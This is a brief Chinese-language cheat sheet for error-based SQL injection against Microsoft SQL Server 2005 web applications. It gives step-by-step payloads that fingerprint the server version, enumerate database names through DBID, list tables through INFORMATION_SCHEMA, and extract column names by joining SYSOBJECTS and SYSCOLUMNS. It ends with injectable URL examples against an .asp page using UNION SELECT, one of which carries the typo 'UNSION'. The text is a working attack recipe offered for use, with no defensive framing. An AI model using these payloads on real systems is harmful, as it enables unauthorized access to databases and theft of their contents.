 | XCH40 整理 其中 爆列名有点麻烦 mssql 2005 1: and 1=(SELECT @@VERSION)-- 判断数据库版本 (master.dbo.sysdatabases 表存放着sql2005数据库系统的所有的数据库信息 查询命令:user master; SELECT * FROM MASTER.DBO.SYSDATABASES 系统默认的数据库有:1master 2tempdb 3model 4msdb) 2:dbid变量爆数据库名称 AND 1 IN (SELECT NAME FROM MASTER.DBO.SYSDATABASES WHERE DBID=3) 改变DBID值依次爆出!到无法爆出位置~! 3:获取表明 (MSSQL2005 每个数据库都有一个用来存放表明信息的表,PUBLIC权限即可查询! 表明为:INFORMATION_SCHEMA.TABLES USE MASTER ; SELECT * FROM INFORMATION_SCHEMA.TABLES; INFORMATION_SCHEMA.TABLES表的机构: TABLE_NAME 1 XXX 2 XXX 3 XXX ... 而表明就存在TABLE_NAME的列里) 4:TOP 1爆出表名 AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES) 更换TOP 1 即可爆出其它的。 5:获取爆出表的内容 加上条件语句:where table_name!=0XXXXX (0xxx为上一步你爆出表明的16进制!) AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLENAME!=0XXXXX) 6:爆列名了 MSSQL2005 SYS.ALL_OBJECTS表里存放着表与列的信息,表的列明:其列名OBJECT_ID里存放着一个数值,对应着另一个表名SYS.ALL_COLUMNS里的列明的ID,而SYS.ALL_COLUMNS表里存放着列的信息 执行:select * from sys.all_objects 表的机构 name object_id xxx_id schema_id xxx_id 1 sysXXX 12 2 sysXXX 8 3 4 由结构可知,列名name和列名object_id是有对应的。注入时,通过指定的name值爆指定表的object_id值 AND 999999< (SELECT TOP 1 CAST([OBJECT_ID] AS NVARCHAR(20)) FROM SYS.ALL_OBJECTS WHERE NAME=0XXX 但是此句无法爆出数据值,用折半法来进行猜解,由于其数值都在10位以上,所有,其法也不太可能,但是可以联合两张表来直接查询,在此提交: AND 9 IN (SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0XXXXXXX)-- 就可以爆出0xxxxx的第一个列名,可以加入条件 'and B.NAME!=0X 0X为已爆出的列名,类推可以一次爆出。 AND 9 IN(SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0XXXXX AND B.NAME!=0XBBBBBB)-- 最终: 表名和列名爆完后:,获取值就很简单 例如: xch40.asp?id=1 and 77=(select ascii(@@VERSION)) xch40.asp?id=1 and 1=2 UNSION SELECT 1,2,3,4...@VERSION--...
| |